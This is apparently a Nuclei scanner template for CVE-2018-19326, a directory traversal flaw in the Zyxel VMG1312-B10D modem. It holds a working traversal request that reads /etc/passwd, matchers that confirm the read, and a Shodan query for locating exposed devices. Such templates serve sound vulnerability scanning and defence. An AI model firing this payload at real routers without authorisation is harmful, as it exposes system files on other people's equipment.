id: CVE-2018-19326

info:
  name: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: The vulnerability exists due to path traversal, as demonstrated by reading /etc/passwd. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attack and view arbitrary files.
  reference:
    - https://www.exploit-db.com/exploits/45904
    - https://www.cybersecurity-help.cz/vdb/SB2018120309
    - https://www.zyxel.com/homepage.shtml
    - https://gist.github.com/numanturle/4988b5583e5ebe501059bd368636de33
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-19326
    cwe-id: CWE-22
  metadata:
    shodan-query: http.html:"VMG1312-B10D"
    verified: true
  tags: cve,cve2018,zyxel,lfi,modem,router

requests:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"